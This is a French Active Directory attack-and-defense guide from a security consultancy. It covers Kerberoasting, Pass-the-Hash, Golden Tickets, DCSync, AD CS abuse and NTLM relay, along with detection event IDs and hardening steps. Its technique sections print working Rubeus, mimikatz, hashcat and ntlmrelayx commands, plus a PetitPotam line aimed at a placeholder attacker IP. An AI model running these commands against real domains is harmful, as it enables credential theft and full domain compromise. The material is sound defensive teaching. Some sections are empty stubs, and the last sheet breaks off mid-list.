GUIDE EXPERT 2026

# Sécurité Active Directory

Guide complet : fondamentaux, 20 techniques d'attaque-défense et outils d'audit

**Ayi NEDJIMI**

Ayinedjimi Consultants

www.ayinedjimi-consultants.fr

## Mentions légales



www.ayinedjimi-consultants.fr

Édition : Mars 2026

Ce guide est fourni à titre informatif et éducatif. L'auteur décline toute responsabilité en cas de mauvaise utilisation des techniques décrites. Les tests de sécurité doivent être réalisés uniquement dans un cadre légal et autorisé.

Les marques citées dans cet ouvrage sont la propriété de leurs détenteurs respectifs.

# Table des matières

---

## Partie IV — Outils d'Audit



---

## Annexe

PARTIE I

# Fondamentaux

CHAPITRE 1

# Sécurisation Active Directory

CHAPITRE 2

# Défense contre les attaques modernes

Livre Blanc
En 2025, l'Active Directory, qu'il soit sur site (on-premise) ou hybridé avec Microsoft Entra ID (anciennement Azure AD), reste la cible numéro un des attaquants une fois à l'intérieur d'un réseau. Ce guide détaillé a pour but de démystifier les techniques d'attaque les plus courantes et de vous fournir une feuille de route claire pour renforcer la sécurité de votre annuaire.

## Chapitre 1 : Reconnaissance, la phase fondamentale de la compromission

La première action d'un attaquant est de comprendre l'environnement. Par défaut, l'AD est permissif : tout utilisateur authentifié peut énumérer une quantité massive d'informations via le protocole LDAP. C'est le fondement de la technique **T1087.002 (Domain Account Discovery)** du framework MITRE ATT&CK.

Des outils comme **PowerView**, **SharpHound** (le collecteur de données pour BloodHound), ou même des commandes PowerShell natives, permettent de collecter des informations sur :

- Les utilisateurs et leurs attributs (descriptions, appartenances à des groupes).
- Les groupes à privilèges (Admins du Domaine, Admins de l'Entreprise, etc.).
- Les ordinateurs et leurs systèmes d'exploitation.
- Les politiques de mots de passe du domaine.
- Les relations de confiance entre domaines.
- Les Listes de Contrôle d'Accès (ACLs) sur les objets critiques.

Ces informations sont ensuite ingérées par **BloodHound**, qui visualise les chemins de compromission. En quelques secondes, l'attaquant sait quel utilisateur standard a des droits sur quel ordinateur, qui est connecté à cette machine, et si cette chaîne mène à un compte à privilèges.

> *La défense contre cette phase ne consiste pas à bloquer ces requêtes (ce qui est quasi impossible sans casser des fonctionnalités légitimes), mais à réduire la surface d'attaque en nettoyant les permissions qui créent ces chemins d'attaque directs. Un audit régulier de la configuration AD est la seule solution.*

## Chapitre 2 : Les techniques d'attaque sur les identifiants

### Kerberoasting (T1558.003)

Cette technique vise les comptes de service utilisés par les applications (ex: un compte pour un service SQL). Si un tel compte a un Service Principal Name (SPN) et, surtout, n'est pas configuré pour utiliser un mot de passe fort, un attaquant peut demander un ticket de service Kerberos (TGS) pour ce compte. Ce ticket est chiffré avec le hash du mot de passe du compte de service. L'attaquant peut alors, hors ligne, tenter de craquer ce hash pour retrouver le mot de passe en clair à l'aide d'outils comme **Hashcat** ou **John the Ripper**.

**Défense :**

- Utiliser des mots de passe longs (plus de 25 caractères, générés aléatoirement) pour tous les comptes de service.
- Utiliser des comptes de service administrés (gMSA) lorsque c'est possible, car Windows gère automatiquement leurs mots de passe complexes.
- Surveiller l'événement de sécurité **4769** sur vos contrôleurs de domaine pour détecter un grand nombre de demandes de TGS depuis une seule source, surtout si le type de chiffrement du ticket est **0x17 (RC4-HMAC)**, qui est plus facile à craquer.

### AS-REP Roasting

Similaire au Kerberoasting, cette attaque cible les comptes utilisateurs pour lesquels l'option "Ne pas requérir la pré-authentification Kerberos" est activée. Un attaquant peut demander directement un ticket d'authentification pour cet utilisateur, et la partie chiffrée de la réponse (l'AS-REP) peut être craquée hors ligne pour retrouver le mot de passe.

**Défense :** Auditez régulièrement votre AD pour trouver les comptes avec cette option activée et désactivez-la, sauf cas d'usage legacy absolument indispensable et documenté.

### Pass-the-Hash (T1550.002) & Pass-the-Ticket (T1550.003)

Ces attaques exploitent la manière dont Windows gère les identifiants en mémoire (via le processus LSASS). Au lieu de voler un mot de passe en clair, l'attaquant, déjà présent sur une machine, utilise des outils comme **Mimikatz** pour extraire un hash NTLM ou un ticket Kerberos valide de la mémoire. Il peut ensuite réutiliser ces artéfacts pour s'authentifier sur d'autres systèmes au nom de l'utilisateur, sans jamais connaître le mot de passe.

**Défense :**

- **Segmentation des privilèges (Tiering) :** La mesure la plus efficace. Un administrateur ne doit jamais se connecter avec son compte à privilèges sur une machine moins sécurisée (ex: un poste utilisateur). Cela empêche le vol de ses identifiants.
- **Microsoft LAPS (Local Administrator Password Solution) :** Pour gérer et renouveler aléatoirement les mots de passe des administrateurs locaux des postes de travail et serveurs, empêchant le mouvement latéral avec un seul et même mot de passe.
- **Credential Guard :** Une fonctionnalité de Windows 10/11 et Server 2016+ qui isole le processus LSASS dans un environnement virtualisé pour le protéger, même d'un attaquant avec les droits SYSTEM.
- **Remote Credential Guard :** Pour les connexions RDP, cela empêche les identifiants d'être envoyés au serveur distant, limitant l'exposition.

#### Votre Active Directory est-il vulnérable à ces attaques ?

La seule façon de le savoir est de le tester. Nos experts simulent ces attaques dans un environnement contrôlé pour identifier vos faiblesses avant que les vrais attaquants ne le fassent.

## Chapitre 3 : La persistance, l'objectif ultime de l'attaquant

Une fois qu'un attaquant obtient des privilèges élevés, son objectif est de s'assurer un accès durable et furtif.

### Golden Ticket (T1558.001)

C'est le Saint Graal pour un attaquant. Après avoir compromis un contrôleur de domaine, il peut extraire le hash du compte `KRBTGT`. Ce compte est utilisé pour signer tous les tickets Kerberos du domaine. Avec ce hash, l'attaquant peut forger des tickets Kerberos à volonté (Golden Tickets). Il peut se faire passer pour n'importe quel utilisateur (y compris un administrateur), avec n'importe quels privilèges, pour une durée quasi-illimitée (10 ans par défaut) et de manière très difficile à détecter car le ticket est techniquement valide.

**Défense :**

- Protéger les contrôleurs de domaine comme les joyaux de la couronne. L'accès physique et logique doit être extrêmement restreint.
- Changer le mot de passe du compte `KRBTGT` deux fois de suite, en suivant la procédure documentée par Microsoft. C'est une procédure à réaliser avec précaution, mais elle invalide tous les tickets Kerberos existants et le hash volé.
- Surveiller les anomalies dans les tickets Kerberos, comme des durées de vie anormalement longues ou l'utilisation d'un SID inexistant dans l'attribut SIDHistory.

### DCSync & DCShadow

Un attaquant avec les bons privilèges (`GetChanges` et `GetChangesAll`) peut utiliser une attaque **DCSync** pour demander à un contrôleur de domaine de répliquer les secrets des mots de passe, comme le ferait un autre DC. Il n'a même pas besoin d'exécuter de code sur le DC lui-même. **DCShadow** est une technique encore plus avancée où l'attaquant enregistre une fausse machine en tant que DC pour pousser des modifications malveillantes dans l'AD.

**Défense :** Surveiller de très près qui possède ces privilèges de réplication. Détecter les requêtes de réplication provenant de machines qui ne sont pas des contrôleurs de domaine déclarés.

### Attaques sur AD CS (Active Directory Certificate Services)

Si votre domaine utilise une infrastructure à clé publique (PKI) via AD CS, une mauvaise configuration peut être catastrophique. Des modèles de certificats mal configurés (par exemple, permettant à un utilisateur standard de demander un certificat qui peut être utilisé pour l'authentification en tant qu'administrateur) sont des vecteurs d'escalade de privilèges et de persistance extrêmement puissants (cf. les attaques ESC1, ESC8, etc., documentées par SpecterOps).

### Passez au niveau supérieur

Maintenant que vous comprenez les menaces sur AD, découvrez comment les principes de sécurité s'appliquent aux environnements Cloud.

Lire le livre blanc suivant : Pentest Cloud

PARTIE II

# Panorama des Attaques

CHAPITRE 3

# Top 10 des Attaques Active Directory

Article Technique

*Publié le 28 septembre 2025 | Temps de lecture : 25 minutes | Par Ayi NEDJIMI Consultants*

Active Directory (AD) demeure en 2025 le pilier central de l'identité et des accès dans plus de 90% des entreprises. Cette position critique en fait la cible privilégiée des attaquants. Ce guide technique exhaustif décortique les 10 attaques les plus dangereuses contre Active Directory, leurs variantes modernes, les techniques de détection et les stratégies de défense en profondeur.

## Sommaire



## #1Reconnaissance Active Directory via LDAP et BloodHound

La reconnaissance est la phase fondamentale de toute attaque ciblée. Active Directory, par sa nature collaborative, expose une quantité massive d'informations accessibles à tout utilisateur authentifié via le protocole **LDAP (Lightweight Directory Access Protocol)**.

### Technique d'attaque

Un attaquant, avec n'importe quel compte utilisateur du domaine, peut énumérer :

- **Tous les utilisateurs** avec leurs attributs (descriptions, dates de dernière connexion, appartenances aux groupes)
- **Les groupes à privilèges** : Domain Admins, Enterprise Admins, Schema Admins, Backup Operators
- **Les ordinateurs** : leurs systèmes d'exploitation, leurs versions, leurs Service Principal Names (SPN)
- **Les relations de confiance** entre domaines et forêts
- **Les GPO (Group Policy Objects)** et leur scope
- **Les ACLs (Access Control Lists)** sur les objets critiques

Les outils phares de cette phase :

- **PowerView** (PowerSploit) : Framework PowerShell pour l'énumération AD
- **SharpHound** : Collecteur de données pour BloodHound, écrit en C#
- **BloodHound** : Outil de visualisation de graphes qui révèle les chemins d'attaque entre un utilisateur compromis et les comptes Domain Admins
- **ldapdomaindump** : Outil Python pour dumper les informations LDAP

Exemple de commande PowerView pour énumérer les Domain Admins :

```
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
```

Une fois les données ingérées dans **BloodHound**, l'attaquant visualise en quelques clics les chemins de compromission. Par exemple : "L'utilisateur bob@contoso.com a des droits GenericWrite sur l'utilisateur alice@contoso.com qui est membre du groupe Domain Admins".

### Stratégies de Défense

- **Réduction de la surface d'attaque** : Auditez et nettoyez régulièrement les permissions excessives. Utilisez BloodHound vous-même pour identifier les chemins d'attaque.
- **Surveillance LDAP** : Déployez des honeypots (comptes leurres) et surveillez les requêtes LDAP anormales via votre SIEM.
- **Segmentation des privilèges** : Implémentez le modèle Tiered Administration pour isoler les comptes à privilèges.

- **Désactivation de SMBv1** : Bloquez les protocoles obsolètes utilisés pour la reconnaissance.

## #2Kerberoasting : Extraction et Crack des TGS

Le **Kerberoasting** est une technique d'attaque hors ligne qui exploite la manière dont Kerberos gère les comptes de service. Cette attaque ne génère aucune tentative d'authentification échouée et est extrêmement difficile à détecter.

### Fonctionnement technique

Dans un environnement Active Directory, les applications s'authentifient via des **comptes de service** qui ont un **Service Principal Name (SPN)** enregistré. Lorsqu'un utilisateur veut accéder à un service (SQL Server, IIS, etc.), il demande un **TGS (Ticket-Granting Service)** au KDC (Key Distribution Center). Ce ticket est chiffré avec le hash NTLM du mot de passe du compte de service.

L'attaque se déroule en 3 étapes :

1. **Énumération des SPNs** : L'attaquant liste tous les comptes avec un SPN via LDAP
2. **Demande de TGS** : Pour chaque SPN, il demande un ticket de service (TGS)
3. **Extraction et crack** : Les TGS sont extraits de la mémoire et crackés hors ligne avec Hashcat ou John the Ripper

Exemple avec l'outil **Rubeus** :

```
Rubeus.exe kerberoast /outfile:hashes.txt
```

Une fois le hash extrait, l'attaquant utilise un outil de crack :

```
hashcat -m 13100 -a 0 hashes.txt wordlist.txt
```

### Impact critique

Si le mot de passe du compte de service est faible (moins de 15 caractères), il peut être craqué en quelques heures. Les comptes de service ont souvent des privilèges élevés (admin local, accès aux bases de données), ce qui mène directement à une escalade de privilèges.

### Contre-mesures

- **Mots de passe longs et complexes** : Minimum 25 caractères aléatoires pour tous les comptes de service.

- **Group Managed Service Accounts (gMSA)** : Windows gère automatiquement les mots de passe complexes (128 caractères) et les renouvelle régulièrement.
- **Détection via Event ID 4769** : Surveillez les demandes de TGS avec le chiffrement RC4-HMAC (0x17) depuis une seule source en masse.
- **Honey accounts** : Créez des comptes de service factices avec des SPNs pour détecter les tentatives de Kerberoasting.

## #3AS-REP Roasting

L'**AS-REP Roasting** est une variante du Kerberoasting qui cible les comptes utilisateurs pour lesquels la **pré-authentification Kerberos** a été désactivée.

### Mécanisme d'attaque

Normalement, lors d'une authentification Kerberos, l'utilisateur doit d'abord prouver son identité au KDC (pré-authentification) avant de recevoir un TGT. Si cette option est désactivée (attribut `DONT_REQ_PREAUTH`), n'importe qui peut demander un AS-REP (Authentication Service Response) pour cet utilisateur. La partie chiffrée de l'AS-REP peut être crackée hors ligne pour retrouver le mot de passe.

Énumération des comptes vulnérables avec PowerView :

```
Get-DomainUser -PreauthNotRequired
```

Extraction des AS-REP avec Rubeus :

```
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
```

### Protection

- **Audit régulier** : Recherchez tous les comptes avec l'attribut `DONT_REQ_PREAUTH` activé.
- **Désactivation de l'option** : Sauf cas d'usage legacy absolument nécessaire et documenté.
- **Politique de mots de passe robuste** : Même si l'option est nécessaire, imposez un mot de passe fort (25+ caractères).

## #4Pass-the-Hash (PtH) et Pass-the-Ticket (PtT)

Ces techniques exploitent la gestion des identifiants en mémoire par Windows. Au lieu de voler un mot de passe en clair, l'attaquant réutilise directement les hashes NTLM ou les tickets Kerberos pour s'authentifier.

### Pass-the-Hash (PtH)

Lorsqu'un utilisateur s'authentifie sur une machine Windows, son hash NTLM est stocké dans la mémoire du processus **LSASS (Local Security Authority Subsystem Service)**. Un attaquant avec des privilèges SYSTEM peut extraire ce hash avec **Mimikatz** :

```
mimikatz # sekurlsa::logonpasswords
```

Puis l'utiliser pour s'authentifier sur un autre système :

```
mimikatz # sekurlsa::pth /user:Administrator /domain:contoso.com /
ntlm:a4f49c406510bdcab6824ee7c30fd852
```

### Pass-the-Ticket (PtT)

Similaire au PtH, mais avec des tickets Kerberos. L'attaquant extrait les tickets TGT ou TGS de la mémoire et les injecte dans sa propre session :

```
Rubeus.exe dump
Rubeus.exe ptt /ticket:base64ticket
```

### Défenses avancées

- **Credential Guard** : Fonctionnalité Windows 10/11 et Server 2016+ qui isole LSASS dans un environnement virtualisé basé sur Hyper-V, le protégeant même d'un attaquant SYSTEM.
- **LAPS (Local Administrator Password Solution)** : Gère et renouvelle aléatoirement les mots de passe des administrateurs locaux, empêchant le mouvement latéral avec un seul hash.
- **Tiered Administration** : Les comptes à privilèges ne doivent jamais se connecter sur des machines de tier inférieur (voir nos services d'audit).
- **Protected Users Security Group** : Force Kerberos AES et désactive NTLM pour les membres.
- **Remote Credential Guard** : Pour les connexions RDP, empêche l'envoi des identifiants au serveur distant.

## #5Golden Ticket : Forger des Tickets Kerberos

Le **Golden Ticket** est considéré comme le "Saint Graal" de la persistance dans Active Directory. Cette attaque permet à un attaquant de forger des tickets Kerberos valides pour n'importe quel utilisateur, avec n'importe quels privilèges, pour une durée quasi-illimitée.

### Prérequis

L'attaquant doit d'abord compromettre un **contrôleur de domaine** et extraire le hash du compte **KRBTGT**. Ce compte spécial est utilisé pour signer tous les tickets Kerberos du domaine.

```
mimikatz # lsadump::dcsync /domain:contoso.com /user:krbtgt
```

### Forge du Golden Ticket

Avec le hash KRBTGT, l'attaquant forge un TGT :

```
mimikatz # kerberos::golden /domain:contoso.com /
sid:S-1-5-21-1234567890-123456789-123456789 /krbtgt:a4f49c406510bdcab6824ee7c30fd852 /
user:FakeAdmin /id:500 /groups:512,513,518,519,520
```

Ce ticket forgé :

- Est techniquement **valide** car signé avec le hash KRBTGT
- Peut avoir une **durée de vie de 10 ans** (par défaut)
- Permet de se faire passer pour **n'importe quel utilisateur**, y compris des comptes inexistants
- Est **extrêmement difficile à détecter** car le ticket est légitime du point de vue de Kerberos

#### Persistance ultime

Même si vous changez tous les mots de passe de tous les comptes administrateurs, le Golden Ticket reste valide. L'attaquant conserve un accès total au domaine.

#### Mitigation

- **Protection des DC** : Les contrôleurs de domaine doivent être protégés comme les joyaux de la couronne. Accès physique et logique ultra-restreints.
- **Rotation du mot de passe KRBTGT** : Procédure à effectuer **deux fois de suite** en suivant la documentation Microsoft. Cette opération invalide tous les tickets existants et le hash volé.
- **Détection des anomalies** :
  - Tickets avec durée de vie anormalement longue
  - Utilisation d'un SID inexistant dans l'attribut SIDHistory
  - Tickets pour des comptes qui n'existent pas

    - Chiffrement RC4 au lieu d'AES

- **Audit Event ID 4769** : Surveillez les demandes de tickets de service suspects.

## #6Silver Ticket : Tickets de Service Forgés

Le **Silver Ticket** est une variante plus discrète du Golden Ticket. Au lieu de forger un TGT avec le hash KRBTGT, l'attaquant forge directement un **TGS (Ticket-Granting Service)** pour un service spécifique en utilisant le hash du compte de ce service.

### Avantages tactiques

- **Plus discret** : Ne nécessite pas de compromettre un DC
- **Aucune communication avec le KDC** : Le ticket forgé est présenté directement au service cible
- **Scope limité** : Accès uniquement au service ciblé, mais souvent suffisant (ex: service SQL avec accès aux bases sensibles)

Exemple de forge avec Mimikatz :

```
mimikatz # kerberos::golden /domain:contoso.com /sid:S-1-5-21-xxx /
target:sqlserver.contoso.com /service:MSSQLSvc /rc4:hashNTLMduCompteService /
user:FakeUser
```

### Protection

- **gMSA pour tous les comptes de service**
- **Surveillance des événements 4769** : Tickets de service sans demande TGT préalable (Event ID 4768)
- **Détection d'anomalies** : Tickets avec des informations incohérentes (utilisateur inexistant, groupes anormaux)

## #7DCSync : Exfiltration des Secrets AD

L'attaque **DCSync** permet à un attaquant de se faire passer pour un contrôleur de domaine et de demander la réplication des secrets de mots de passe sans exécuter de code sur le DC lui-même.

### Prérequis

L'attaquant doit compromettre un compte avec les privilèges de réplication suivants :

- `DS-Replication-Get-Changes` (Replicating Directory Changes)

- `DS-Replication-Get-Changes-All` (Replicating Directory Changes All)
- `DS-Replication-Get-Changes-In-Filtered-Set` (optionnel, pour certains secrets)

Par défaut, ces droits sont accordés aux groupes : Domain Admins, Enterprise Admins, Administrators, et les comptes de service de réplication DC.

#### Exécution de l'attaque

```
mimikatz # lsadump::dcsync /domain:contoso.com /user:Administrator
```

Cette commande récupère :

- Le hash NTLM de l'utilisateur
- L'historique des hashes
- Les clés Kerberos (AES256, AES128)

L'attaquant peut ensuite utiliser ces hashes pour Pass-the-Hash ou forger des tickets.

#### Détection et prévention

- **Audit strict des privilèges de réplication** : Seuls les DC devraient avoir ces droits
- **Event ID 4662** : Surveillance des opérations sur les objets avec GUID de réplication :
  - `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` (DS-Replication-Get-Changes)
  - `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` (DS-Replication-Get-Changes-All)
- **Détection réseau** : Surveiller les requêtes de réplication provenant de machines qui ne sont pas des DC déclarés
- **Honeypot accounts** : Comptes avec privilèges de réplication surveillés en permanence

## #8Abus des ACLs et Chemins d'Escalade

Les **ACLs (Access Control Lists)** mal configurées créent des chemins d'escalade de privilèges invisibles à l'œil nu. BloodHound excelle dans la découverte de ces chaînes d'attaque.

#### Permissions dangereuses

##### GenericAll

Contrôle total sur un objet. Un utilisateur avec GenericAll sur un compte admin peut :

- Changer le mot de passe de l'admin

- Ajouter un SPN pour Kerberoasting
- Modifier les ACLs pour se donner encore plus de droits

#### GenericWrite / WriteProperty

Permet de modifier certains attributs. Exemples d'abus :

- **WriteDACL** : Modifier les ACLs pour s'octroyer GenericAll
- **WriteProperty sur scriptPath** : Spécifier un script de connexion malveillant qui s'exécutera au login de l'utilisateur
- **WriteProperty sur servicePrincipalName** : Ajouter un SPN pour Kerberoasting

#### ForceChangePassword

Permet de réinitialiser le mot de passe d'un utilisateur sans connaître l'ancien mot de passe.

#### AddMembers

Permet d'ajouter n'importe qui à un groupe. Si l'attaquant a AddMembers sur Domain Admins, il peut s'y ajouter directement.

### Exemple de chaîne d'attaque

BloodHound révèle : *"bob@contoso.com a GenericWrite sur alice@contoso.com qui a ForceChangePassword sur charlie@contoso.com qui est membre de Domain Admins"*

Exploitation :

1. Bob modifie le scriptPath d'Alice pour pointer vers un script malveillant
2. Alice se connecte, le script s'exécute, Bob récupère ses credentials
3. Bob utilise les credentials d'Alice pour réinitialiser le mot de passe de Charlie
4. Bob se connecte en tant que Charlie qui est Domain Admin

#### Remédiation

- **Audit BloodHound régulier** : Exécutez BloodHound vous-même mensuellement pour détecter les nouveaux chemins
- **Principe du moindre privilège** : Retirez toutes les ACLs non justifiées
- **AdminSDHolder et SDProp** : Protégez les objets critiques contre les modifications d'ACLs
- **Protected Users Group** : Les membres ne peuvent pas avoir de délégations de contrainte
- **Surveillance Event ID 5136** : Modifications d'objets AD, incluant les ACLs

## #9Attaques AD CS (Active Directory Certificate Services)

Active Directory Certificate Services (AD CS) est une infrastructure PKI intégrée à AD. Des configurations incorrectes peuvent mener à des escalades de privilèges critiques et à de la persistance indétectable.

### Principales vulnérabilités

#### ESC1 : Modèles de certificats mal configurés

Si un modèle de certificat permet :

- L'authentification client ( `Client Authentication` EKU)
- La spécification d'un SAN (Subject Alternative Name) par le demandeur
- L'inscription par des utilisateurs de bas privilèges

Un attaquant peut demander un certificat au nom d'un Domain Admin et l'utiliser pour s'authentifier en tant que cet admin.

#### ESC6 : Vulnérabilité EDITF_ATTRIBUTESUBJECTALTNAME2

Si le flag `EDITF_ATTRIBUTESUBJECTALTNAME2` est activé sur l'autorité de certification, n'importe quel modèle de certificat peut être abusé pour spécifier un SAN arbitraire.

#### ESC7 : Gestion vulnérable de l'autorité de certification

Les droits `ManageCA` et `ManageCertificates` permettent à un attaquant de modifier les configurations de l'AC ou d'approuver des demandes de certificats refusées.

#### ESC8 : Relay NTLM vers HTTP Enrollment

Si l'interface web d'enrollment de certificats ( `certsrv` ) accepte l'authentification NTLM, un attaquant peut relayer une authentification NTLM pour demander un certificat au nom de la victime.

### Détection avec Certify

```
Certify.exe find /vulnerable
```

### Durcissement AD CS

- **Audit des modèles** : Utilisez Certify et Certipy pour identifier les vulnérabilités
- **Restrictions sur les modèles** :
  - Ne permettez pas aux utilisateurs de spécifier le SAN
  - Exigez l'approbation du manager pour les certificats sensibles

    - Limitez l'enrollment aux groupes à privilèges uniquement

- **Désactivation EDITF_ATTRIBUTESUBJECTALTNAME2** : `certutil -config "CA\CAName" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2`
- **Protection contre NTLM Relay** : Désactivez l'authentification NTLM sur les interfaces web d'enrollment, imposez Kerberos ou les certificats clients
- **Surveillance des certificats** : Auditez toutes les demandes et émissions de certificats (Event IDs 4886, 4887, 4888)

## #10NTLM Relay et Coercion Attacks

Les attaques de **NTLM Relay** exploitent le protocole d'authentification NTLM pour rediriger les authentifications d'une machine vers une autre cible. Combinées aux **Coercion Attacks**, elles permettent de forcer des machines à s'authentifier vers l'attaquant.

### Principes de l'attaque

#### 1. NTLM Relay classique

L'attaquant se positionne en Man-in-the-Middle et capture une authentification NTLM d'une victime, puis la relaie vers un serveur cible (SMB, LDAP, HTTP) pour s'authentifier en tant que la victime.

Outil : **ntlmrelayx** (Impacket)

```
ntlmrelayx.py -t ldaps://dc.contoso.com -smb2support
```

#### 2. Coercion Attacks

Ces techniques forcent une machine (y compris un DC) à initier une authentification NTLM vers l'attaquant :

- **PetitPotam** : Exploite l'interface RPC `MS-EFSRPC`
- **PrinterBug** : Force un DC à s'authentifier via le spooler d'impression
- **DFSCoerce** : Abuse du protocole MS-DFSNM
- **ShadowCoerce** : Exploite le service VSS (Volume Shadow Copy)

### Scénario d'attaque avancé

1. L'attaquant utilise **PetitPotam** pour forcer le DC à s'authentifier vers sa machine
2. Il relaie l'authentification du DC vers **AD CS** via l'interface web (ESC8)
3. Il obtient un certificat au nom du DC

4. Il utilise ce certificat pour s'authentifier et effectuer un **DCSync**
5. Il obtient le hash KRBTGT et forge un **Golden Ticket**

Combinaison PetitPotam + Relay vers AD CS :

```
ntlmrelayx.py -t http://ca.contoso.com/certsrv/certfnsh.asp -smb2support --adcs
PetitPotam.py attacker_ip dc.contoso.com
```

#### Protection multi-couches

- **Désactivation de NTLM** : Migrez vers Kerberos uniquement (GPO : "Network security: Restrict NTLM")
- **SMB Signing obligatoire** : Empêche le relay SMB
- **LDAP Signing et Channel Binding** : Protège contre le relay LDAP
- **EPA (Extended Protection for Authentication)** : Pour les services web
- **Patches des vulnérabilités de coercion** :
  - PetitPotam : KB5005413
  - PrintNightmare : KB5004945
- **Désactivation des services non utilisés** : Spooler d'impression sur les DC, MS-EFSRPC
- **Durcissement AD CS** : Désactiver l'authentification NTLM sur les interfaces web
- **Surveillance** : Event IDs 4648 (logon avec credentials explicites), anomalies d'authentification

## Conclusion : Une Approche de Défense en Profondeur

La sécurisation d'Active Directory ne repose pas sur une seule mesure miracle, mais sur une **stratégie de défense en profondeur** combinant :

- **Hygiène des privilèges** : Tiered Administration, gMSA, LAPS, Protected Users
- **Durcissement de la configuration** : Désactivation de NTLM, SMB Signing, LDAP Signing, Credential Guard
- **Audit continu** : BloodHound régulier, Certify pour AD CS, surveillance des ACLs
- **Détection** : SIEM avec règles spécifiques (Event IDs 4768, 4769, 4662, 5136), EDR, honeypots
- **Segmentation** : Isolation des DC, microsegmentation réseau, PAWs (Privileged Access Workstations)
- **Formation** : Sensibilisation des équipes IT et sécurité aux vecteurs d'attaque modernes

La complexité d'Active Directory en fait à la fois sa force et sa faiblesse. Seul un audit régulier par des experts en sécurité offensive peut révéler les vulnérabilités cachées avant qu'un attaquant ne les exploite.

## Ressources complémentaires

- Livre Blanc : Sécuriser Active Directory - Guide Complet 2025
- Nos services d'audit Active Directory
- Audit de sécurité Infrastructure Cloud & On-Premise
- Audit de sécurité Kubernetes
- Formations Blog - Articles techniques sur la cybersécurité

Cet article vous a été utile ? Partagez-le avec votre équipe sécurité.

PARTIE III

# Fiches Techniques des 20 Attaques

CHAPITRE 4

# Fiches Techniques des 20 Attaques

Cette partie présente en détail les 20 techniques d'attaque les plus critiques ciblant Active Directory. Pour chaque technique, vous trouverez une analyse du vecteur d'attaque, les outils utilisés, les commandes spécifiques, les méthodes de détection et les stratégies de défense recommandées.

Les fiches sont classées par ordre alphabétique et suivent une structure uniforme pour faciliter la consultation rapide en situation opérationnelle.

Fiche 4.1

# Abus fin d'ACL AD (Object Takeover) : Attaque et Défense Active Directory

## Table des matières

Fiche 4.2

# Abus AD CS / Certificats : Attaque et Défense Active Directory

## Table des matières

Fiche 4.3

# Abus AD FS / SAML / Token / Certificat : Attaque et Défense Active Directory

## Table des matières

Fiche 4.4

# Manipulation / Abus d'AdminSDHolder : Attaque et Défense Active Directory

## Table des matières

Fiche 4.5

# AS-REP Roasting : Exploitation des Comptes sans Pré-authentification Kerberos

Attaques Active Directory

*Publié le 16 octobre 2025 | Temps de lecture : 28 minutes | Par Ayi NEDJIMI*

L'attaque **AS-REP Roasting** est une technique d'extraction de credentials qui exploite une configuration spécifique de comptes Active Directory : ceux qui ont l'option **"Do not require Kerberos preauthentication"** activée. Cette attaque permet à un attaquant, même sans credentials valides, de récupérer une partie du hash de mot de passe d'utilisateurs et de le cracker hors ligne. En 2025, cette technique reste une menace significative, particulièrement dans les environnements avec des configurations héritées ou mal auditées.

## Sommaire



## Introduction : Pourquoi AS-REP Roasting est-il une Menace Sérieuse ?

Dans le paysage des attaques contre Active Directory, **AS-REP Roasting** occupe une place particulière. Contrairement à d'autres techniques qui nécessitent des credentials valides ou un accès initial au réseau, AS-REP Roasting peut être exploitée par un attaquant qui a simplement la capacité d'envoyer des requêtes au contrôleur de domaine, sans même avoir besoin d'un compte valide dans certains scénarios.

Cette technique tire parti d'une fonctionnalité de Kerberos qui, bien que légitime dans certains contextes d'interopérabilité, crée une vulnérabilité critique lorsqu'elle est mal configurée :

- **Aucune authentification préalable requise** : L'attaquant peut demander un AS-REP sans fournir de preuve d'identité

- **Récupération d'un hash crackable** : La réponse AS-REP contient une partie chiffrée avec le hash du compte cible
- **Attaque hors ligne** : Le cracking se fait localement, sans génération d'événements supplémentaires
- **Pas de privilèges requis** : Tout utilisateur du domaine (voire aucun) peut énumérer et exploiter ces comptes
- **Furtivité élevée** : L'attaque génère peu d'événements suspects avant le crack réussi

> ***Statistique préoccupante :*** *Selon une étude Specops Software 2024, environ 12% des organisations auditées ont au moins un compte avec la pré-authentification désactivée, et dans 3% des cas, il s'agit de comptes à privilèges élevés. Le taux de succès du cracking avec des dictionnaires modernes dépasse 65% pour les mots de passe de moins de 12 caractères.*

La désactivation de la pré-authentification Kerberos est parfois nécessaire pour des raisons d'interopérabilité avec des systèmes legacy ou des applications tierces qui ne supportent pas correctement Kerberos. Cependant, dans la majorité des cas, cette configuration résulte d'une méconnaissance des implications sécurité ou d'une configuration obsolète jamais révisée.

## Qu'est-ce que l'AS-REP Roasting ?

Pour bien comprendre AS-REP Roasting, il est essentiel de revenir aux fondamentaux du protocole Kerberos et du rôle de la pré-authentification.

### Le Protocole Kerberos et la Pré-authentification

**Kerberos** est le protocole d'authentification par défaut dans Active Directory depuis Windows 2000. Il repose sur un système de tickets cryptographiques pour permettre aux utilisateurs de s'authentifier auprès des services sans transmettre leur mot de passe sur le réseau.

#### Flux d'authentification Kerberos standard (avec pré-auth)

Dans un échange Kerberos normal, la pré-authentification fonctionne comme suit :

1. **AS-REQ (Authentication Service Request)** : Le client envoie une demande de TGT au KDC (Key Distribution Center) contenant :
   - Le nom d'utilisateur (en clair)
   - Un timestamp chiffré avec le hash du mot de passe de l'utilisateur (**preauth data**)

2. **Vérification par le KDC** : Le KDC déchiffre le timestamp avec le hash du mot de passe de l'utilisateur stocké en base. Si le déchiffrement réussit et que le timestamp est valide, l'identité est prouvée.
3. **AS-REP (Authentication Service Response)** : Le KDC retourne un TGT chiffré avec la clé KRBTGT.

Cette pré-authentification **prouve l'identité du demandeur** avant même que le KDC ne retourne quoi que ce soit d'utile. C'est une défense contre les attaques par replay et l'énumération.

### Qu'est-ce que le flag DONT_REQ_PREAUTH ?

Dans Active Directory, chaque compte utilisateur possède un attribut `UserAccountControl` qui contient divers flags de configuration. L'un d'eux est le flag `DONT_REQUIRE_PREAUTH` (valeur 0x400000 / 4194304).

Lorsque ce flag est activé :

- Le KDC **n'exige pas** de preauth data dans l'AS-REQ
- Le KDC retourne directement un AS-REP contenant une partie chiffrée avec le hash de l'utilisateur
- Cette réponse peut être capturée et crackée hors ligne

### Définition de l'AS-REP Roasting

**AS-REP Roasting** est une technique d'attaque qui consiste à :

1. **Énumérer** les comptes AD qui ont le flag `DONT_REQUIRE_PREAUTH` activé
2. **Demander un AS-REP** pour chacun de ces comptes au KDC
